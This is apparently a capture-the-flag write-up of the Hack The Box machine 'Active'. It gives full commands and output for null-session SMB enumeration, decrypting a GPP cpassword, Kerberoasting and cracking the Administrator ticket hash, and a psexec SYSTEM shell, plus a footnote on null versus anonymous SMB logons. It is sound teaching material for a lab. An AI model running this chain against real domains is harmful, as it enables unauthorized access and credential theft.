Post

HTB:Active

HTB:Active

Intro

Active is an easy-difficulty machine that provides a good environment for SMB enumeration and Kerberoasting. Because the box is short, I investigated SMB null-authentication as well.

Attack path:

1
2
3
4
5
6
Null SMB Access
   └── Read Access → Replication Share (SYSVOL)
       └── GPP Credential Disclosure → svc_tgs
           └── Kerberoastable SPN → Administrator TGS Hash
               └── Offline Password Crack → Administrator
                   └── Domain Admin → SYSTEM Shell

TL;DR

  • Start with SMB enumeration as an unauthenticated user. A null session grants read access to the Replication share on the domain controller.
  • Spidering the Replication share reveals Groups.xml GPP file containing a cpassword value.
  • Decrypt the cpassword to recover credentials for svc_tgs. Find user.txt
  • Using svc_tgs, enumerate Kerberos SPNs (Service Principal Names) and identify that Administrator has an SPN registered, making it Kerberoastable.
  • Request a TGS ticket for the Administrator SPN and perform an offline password crack on the returned hash.
  • With the recovered Administrator password, authenticate with psexec and obtain full domain admin privileges to retrieve the root flag.

Nmap Enumeration

The initial Nmap scan reveals a classic Active Directory environment:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
sudo nmap -p- 10.129.250.9 --min-rate 1000
Nmap scan report for 10.129.250.9
Host is up (0.53s latency).
Not shown: 65512 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
9389/tcp  open  adws
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49169/tcp open  unknown
49171/tcp open  unknown
49177/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 81.72 second

Running a service and script scan on the ports above:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
PORTS=$(grep -oP '\d+(?=\/tcp)' nmap_all.txt | sort -n | uniq | paste -sd, -)
nmap -sVC -p "$PORTS" 10.129.250.9

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-11 00:16:22Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5722/tcp  open  msrpc         Microsoft Windows RPC
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc         Microsoft Windows RPC
49153/tcp open  msrpc         Microsoft Windows RPC
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
49169/tcp open  msrpc         Microsoft Windows RPC
49171/tcp open  msrpc         Microsoft Windows RPC
49177/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2025-11-11T00:17:23
|_  start_date: 2025-11-11T00:06:18
|_clock-skew: 1m00s
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 94.82 seconds

The one-liner above can be read as:

  • grep -oP '\d+(?=\/tcp)' pulls numbers before /tcp open using grep ‘overpowered’ (oP)
  • sort -n | uniq removes duplicates and sorts.
  • paste -sd, - joins the ports into a comma list which nmap -p expects.

From this service scan we observe the following:

PortServiceDescription
53DNSDNS service (Windows Server 2008 R2)
88KerberosAuthentication (KDC)
135MSRPCMicrosoft RPC endpoint mapper
139NetBIOSNetBIOS Session Service
389LDAPActive Directory LDAP (unencrypted)
445SMBServer Message Block (file/sharing, AD)
464kpasswd5Kerberos password change (kpasswd)
593RPC over HTTPMicrosoft RPC tunnelling over HTTP
636LDAPSLDAP over TLS/SSL (secure LDAP)
3268Global Catalog LDAPAD Global Catalog (unencrypted)
3269Global Catalog LDAPSAD Global Catalog over TLS/SSL

Notes:

  • LDAP leaks the domain name: active.htb We should add this to our /etc/hosts file.
  • Small clock skew (~1 minute) seen in smb2-time script output.

This all points to the box being a Domain Controller

Enumerating SMB

Typically when I see that SMB (Port 445) is open, I’ll quickly check if null authentication1 is enabled, as it’s quick and can potentially net us some juicy info if we have read access to shares.

To perform null authentication with netexec and list available shares, we use the following command:

1
2
3
4
5
6
7
8
9
10
11
12
13
nxc smb 10.129.250.9 -u '' -p '' --shares
SMB         10.129.250.9    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.250.9    445    DC               [+] active.htb\:
SMB         10.129.250.9    445    DC               [*] Enumerated shares
SMB         10.129.250.9    445    DC               Share           Permissions     Remark
SMB         10.129.250.9    445    DC               -----           -----------     ------
SMB         10.129.250.9    445    DC               ADMIN$                          Remote Admin
SMB         10.129.250.9    445    DC               C$                              Default share
SMB         10.129.250.9    445    DC               IPC$                            Remote IPC
SMB         10.129.250.9    445    DC               NETLOGON                        Logon server share
SMB         10.129.250.9    445    DC               Replication     READ
SMB         10.129.250.9    445    DC               SYSVOL                          Logon server share
SMB         10.129.250.9    445    DC               U

Right off the bat, we see that null auth is allowed, and we have READ access over the ‘Replication’ Volume.

We also note that we get more information about the Host, which is identified as DC, and it’s running Windows 7 / Server 2008 R2 Build 7601 x64. As an aside, if SMBv1 was set to True in the output above, we could use EternalBlue (MS17-010) to get a shell.

Spidering

As we have access to the replication share, we’ll do some spidering to save us the time of having to perform manual enumerate to find any goodies.

1
2
3
4
5
6
7
8
9
10
11
nxc smb 10.129.250.9 -u '' -p '' -M spider_plus --spider Replication
SMB         10.129.250.9    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.250.9    445    DC               [+] active.htb\:
SPIDER_PLUS 10.129.250.9    445    DC               [*] Started module spidering_plus with the following options:
SPIDER_PLUS 10.129.250.9    445    DC               [*]  DOWNLOAD_FLAG: False
SPIDER_PLUS 10.129.250.9    445    DC               [*]     STATS_FLAG: True
SPIDER_PLUS 10.129.250.9    445    DC               [*] EXCLUDE_FILTER: ['print$', 'ipc$']
SPIDER_PLUS 10.129.250.9    445    DC               [*]   EXCLUDE_EXTS: ['ico', 'lnk']
SPIDER_PLUS 10.129.250.9    445    DC               [*]  MAX_FILE_SIZE: 50 KB
SPIDER_PLUS 10.129.250.9    445    DC               [*]  OUTPUT_FOLDER: 
..snip..

Navigating over to where netexec stores the output we inspect the JSON using jq. It’s worth mentioning that 0xdf has a great writeup on how to utilize jq effectively which can be found here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
cat 10.129.250.9.json| jq .
{
  "Replication": {
    "active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": {
      "atime_epoch": "2018-07-21 18:37:44",
      "ctime_epoch": "2018-07-21 18:37:44",
      "mtime_epoch": "2018-07-21 18:38:11",
      "size": "23 B"
    },
    "active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/Group Policy/GPE.INI": {
      "atime_epoch": "2018-07-21 18:37:44",
      "ctime_epoch": "2018-07-21 18:37:44",
      "mtime_epoch": "2018-07-21 18:38:11",
      "size": "119 B"
    },
    "active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
      "atime_epoch": "2018-07-21 18:37:44",
      "ctime_epoch": "2018-07-21 18:37:44",
      "mtime_epoch": "2018-07-21 18:38:11",
      "size": "1.07 KB"
    },
    "active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml": {
      "atime_epoch": "2018-07-21 18:37:44",
      "ctime_epoch": "2018-07-21 18:37:44",
      "mtime_epoch": "2018-07-21 18:38:11",
      "size": "533 B"
    },
    "active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": {
      "atime_epoch": "2018-07-21 18:37:44",
      "ctime_epoch": "2018-07-21 18:37:44",
      "mtime_epoch": "2018-07-21 18:38:11",
      "size": "2.72 KB"
    },
    "active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/GPT.INI": {
      "atime_epoch": "2018-07-21 18:37:44",
      "ctime_epoch": "2018-07-21 18:37:44",
      "mtime_epoch": "2018-07-21 18:38:11",
      "size": "22 B"
    },
    "active.htb/Policies/{6AC1786C-016F-11D2-945F-00C04fB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
      "atime_epoch": "2018-07-21 18:37:44",
      "ctime_epoch": "2018-07-21 18:37:44",
      "mtime_epoch": "2018-07-21 18:38:11",
      "size": "3.63 KB"
    }
  }
}

Within the output above, the file that jumps out at me is:

1
active.htb/Policies/.../MACHINE/Preferences/Groups/Groups.xml

We can fetch the file via smbclient for quick local review:

1
2
3
smbclient //10.129.250.9/Replication -N
smb: \> cd active.htb/Policies/{...}/Machine/preferences/Groups/
smb: \> get Groups.xml

Inspecting the file we see the following :

1
2
3
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

Immediately, two useful fields pop out:
userName="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Having no knowledge of what cpassword is, I did some googling and came across this post by Microsoft.

It appears that this .xml file is associated with GPP (Group Policy Preferences), which is a Windows configuration setting within Group Policy that allows administrators to push system and user configuration changes to all domain machines, so administrators don’t have to set them up manually on each machines. The xml above tells domain-joined systems to create or update the user active.htb\SVC_TGS locally with the specified settings.

Okay, so we now know what this is, how do we use it? More googling led to the following two post: Privilege Escalation via Group Policy Preferences (GPP) Finding Passwords in SYSVOL & Exploiting Group Policy Preferences

In short, it appears that Microsoft AES encrypts the password before it’s stored as cpassword, the problem being that the key utilized with AES is static and publicly available, hence there likely exists a tool out there which can crack cpassword.

The tool I came across is called gpp-decrypt.
We can install it with sudo apt install gpp-decrypt.

Decrypting

1
2
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ
GPPstillStandingStrong2k18

Nice! we now have valid credentials for the usersvc_tgs.

SVC_TGS

Staring at the name of the user for-oh, two seconds-and my spidey sense starts tingling. In Windows environments, the prefix SVC_ is typically used for service accounts. Furthermore, TGS makes me think Ticket Granting Service which makes me think Kerberos, and Kerberoasting.

Validate and enumerate SVC_TGS

The first step i usually take after gaining a user:password pair, is to test it against smb to see if we get access to more shares.

1
2
3
4
5
6
7
8
9
10
11
12
13
nxc smb 10.129.250.9 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --shares
SMB         10.129.250.9    445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.250.9    445    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
SMB         10.129.250.9    445    DC               [*] Enumerated shares
SMB         10.129.250.9    445    DC               Share           Permissions     Remark
SMB         10.129.250.9    445    DC               -----           -----------     ------
SMB         10.129.250.9    445    DC               ADMIN$                          Remote Admin
SMB         10.129.250.9    445    DC               C$                              Default share
SMB         10.129.250.9    445    DC               IPC$                            Remote IPC
SMB         10.129.250.9    445    DC               NETLOGON        READ            Logon server share
SMB         10.129.250.9    445    DC               Replication     READ
SMB         10.129.250.9    445    DC               SYSVOL          READ            Logon server share
SMB         10.129.250.9    445    DC               Users           READ

In this case, we see that we have READ access to Users share and through smbclient we can grab user flag.

1
2
3
4
5
smbclient -U "svc_tgs" //10.129.250.9/Users
..snip..
smb: \SVC_TGS\Desktop\> more user.txt

5e9ab8693982f848ff***

Kerberoasting

Service account name svc_tgs hints at a service account; TGS in the name suggests Kerberos Service Tickets are relevant.

We can enumerate accounts with SPNs to find roastable targets using GetUserSPNs.py.

1
2
3
4
5
6
7
GetUserSPNs.py -dc-ip active.htb active.htb/svc_tgs
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 03:06:40.351723  2025-11-11 12:02:58.333782

From enumeration we find an SPN on the Administrator account: active/CIFS:445 - this makes Administrator a Kerberoastable target.

Little run down on Kerberos and Kerberoasting - it’s worth watching this talk with the accompanying slides:

  • Kerberos:
    • Is a network authentication protocol that uses a trusted KDC (Key Distribution Center) to issue time-limited tickets so users can prove identity without sending plaintext passwords.
    • The client authenticates to the AS (Authentication Service) → receives TGT (Ticket Granting Ticket) → uses TGT to request service tickets from TGS (Ticket Granting Service) → presents service ticket to access a service. The tickets are encrypted with keys held by the KDC and the target service.
  • Kerberoasting:
    • The attacker requests a service ticket for an account with a Service Principal Name (SPN), obtains the ticket encrypted with the service account’s long-term key, and performs offline cracking against the encrypted blob to recover the account password. This works because the service tickets are encrypted with the service account’s key (derived from its password), so if the password is weak the encrypted ticket can be brute-forced offline.
    • What makes kerberoasting quite dangerous is that typically the attacker only needs normal domain user access and they can request TGS tickets for SPNs.

Now that we know what we’re doing (sorta), we can go ahead and roast!

Requesting TGS

To request TGS tickets (TGS-REP) for our SPN on the Administrator account I’ll show two methods

If we want to roast in bulk, we can do this pretty easily through netexec:

1
2
3
4
5
6
7
8
9
~/boxes/active ❯ nxc ldap 10.129.250.9 -u 'svc_tgs' -p 'GPPstillStandingStrong2k18' --kerberoasting output.txt
LDAP        10.129.250.12   389    DC               [*] Windows 7 / Server 2008 R2 Build 7601 (name:DC) (domain:active.htb) (signing:None) (channel binding:No TLS cert)
LDAP        10.129.250.12   389    DC               [+] active.htb\svc_tgs:GPPstillStandingStrong2k18
LDAP        10.129.250.12   389    DC               [*] Skipping disabled account: krbtgt
LDAP        10.129.250.12   389    DC               [*] Total of records returned 1
LDAP        10.129.250.12   389    DC               [*] sAMAccountName: Administrator, memberOf: ['CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb', 'CN=Domain Admins,CN=Users,DC=act
ive,DC=htb', 'CN=Enterprise Admins,CN=Users,DC=active,DC=htb', 'CN=Schema Admins,CN=Users,DC=active,DC=htb', 'CN=Administrators,CN=Builtin,DC=active,DC=htb'], pwdLastSet: 2018-07-19 03:06:40.
351723, lastLogon: 2025-11-11 12:02:58.333782
LDAP        10.129.250.12   389    DC               $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb\Administrator*$884adf9e41c70c69d93b8c67e911b27f$14851...snip..

If we want to target a specific user, we can use Impacket’s GetUserSPNs.py:

1
2
3
4
5
6
7
8
9
10
11
12
GetUserSPNs.py -dc-ip active.htb active.htb/svc_tgs -request-user Administrator
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-19 03:06:40.351723  2025-11-11 12:02:58.333782



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$f4b5008a3158d772095ba162c7bc12b5$196c5...snip..

It is always good practice to output these hashes to a file, we can do this by appending the -outputfile flag to command above.

Crack the TGS hash

Use Hashcat (mode 13100) with your preferred wordlist

1
2
3
4
hashcat -m 13100 Admin_tgs /usr/share/wordlists/rockyou.txt
...snip..
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$0beed78ba8ca80c7a311aa9789c34beb$1a5464...snip..:Ticketmaster1968
...snip..

We see that we successfully crack the hash and retrieve the administrators password:Ticketmaster1968

Testing Authentication against a Domain Controller

With the Administrator password we can authenticate to SMB

1
2
3
nxc smb 10.129.250.12 -u 'Administrator' -p 'Ticketmaster1968'
SMB         10.129.250.12   445    DC               [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         10.129.250.12   445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

We see the Pwn3d! flag, which is great news for us.

Typically I go for evil-winrm to get a shell, but we should remember that we don’t have have port 5985/5986 tcp open, thus we cannot get a shell via evil-winrm.

buuuut SMB is the transport psexec uses; So with port 445 open we can authenticate using psexec navigate to C:\Users\Administrator\Desktop and get the root flag.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
psexec.py Administrator@10.129.250.12
Impacket v0.11.0 - Copyright 2023 Fortra

Password:
[*] Requesting shares on 10.129.250.12.....
[*] Found writable share ADMIN$
[*] Uploading file TBsYtjJw.exe
[*] Opening SVCManager on 10.129.250.12.....
[*] Creating service aKPr on 10.129.250.12.....
[*] Starting service aKPr.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

cd C:\UsersAdministrator\Desktop

C:\Users\Administrator\Desktop> dir
..snip..
11/11/2025  06:02 ��                34 root.txt
..snip..

C:\Users\Administrator\Desktop> more root.txt
0c7a9db67cd2915c4***

And just like that we’re done.
Thanks for coming along for the ride.

P.S below is my little foray into smb null-authentication, if you so fancy.

  1. SMB anonymous vs Null authentication:

    I wanted to understand anonymous/null authentication a little more as different tools require different syntax and in an effort to better understand my tooling I captured three separate SMB authentications in Wireshark.

    The following capture involves setting the username as anonymous in netexec:
    nxc smb 10.129.250.9 -u 'anonymous' -p '' --shares Pasted image 20251111165135.png

    The following involves passing nothing into the username of netexec:
    nxc smb 10.129.250.9 -u '' -p '' --shares Pasted image 20251111165239.png

    This capture involves performing a ‘NULL’ authentication with smbclient:
    smbclient -N -L //10.129.250.24 Pasted image 20251111164850.png

    We can see that smbclientNULL’ authentication first passes in our local username (in this case truffle), and then when that fails, then moves on to passing in NULL. It also turns out that the -N flag in smbclient actually stands for no-password, and not NULL, hence the ‘ ‘ above (cheers ippsec).

    What gives?

    Blank username:
    Treated as ANONYMOUS_LOGON (SID S-1-5-7). On hosts allowing null sessions, authentication succeeds without credentials, granting limited anonymous access. In successful captures, NTLMSSP_AUTH shows User name: NULL and empty NTLM fields. The server maps the missing username to ANONYMOUS_LOGON and allows limited access based on local/domain policies.

    Anonymous username:
    Treated as a real account, so valid credentials are required. Without them (or if the account doesn’t exist), authentication fails with STATUS_LOGON_FAILURE. Captures show NTLMSSP_AUTH with User name: anonymous and a proper NTLM/NTLMv2 blob (first capture above).
    The server attempts to validate the account. Fails. Returns STATUS_LOGON_FAILURE.

    In short, using "anonymous" requests the real account, not the special anonymous token.

    We can verify this with rpcclient

    1
    2
    3
    4
    5
    
    rpcclient $> lookupnames anonymous
    result was NT_STATUS_NONE_MAPPED 
    
    rpcclient $> lookupsids S-1-5-7
    S-1-5-7 NT AUTHORITY\ANONYMOUS LOGON (5)
    

    We see that anonymous is mapped to NT_STATUS_NONE_MAPPED.
    That is, the server has no account named anonymous in the local SAM / domain. In other words, anonymous is treated as an ordinary username and it doesn’t exist.

    Performing the lookupsids on S-1-5-7 we see that this is mapped to NT AUTHORITY\ANONYMOUS LOGON.
    That is, the server maps the SID S-1-5-7 to the name ANONYMOUS LOGON. This confirms the server recognizes the anonymous logon SID and can resolve that SID.

    All in all: The server maps an empty/null session to the ANONYMOUS_LOGON token (S-1-5-7); If we explicitly send the username anonymous the server tries to authenticate a real account called anonymous - which doesn’t exist and thus lookup/auth attempt fails. ↩︎

This post is licensed under CC BY 4.0 by the author.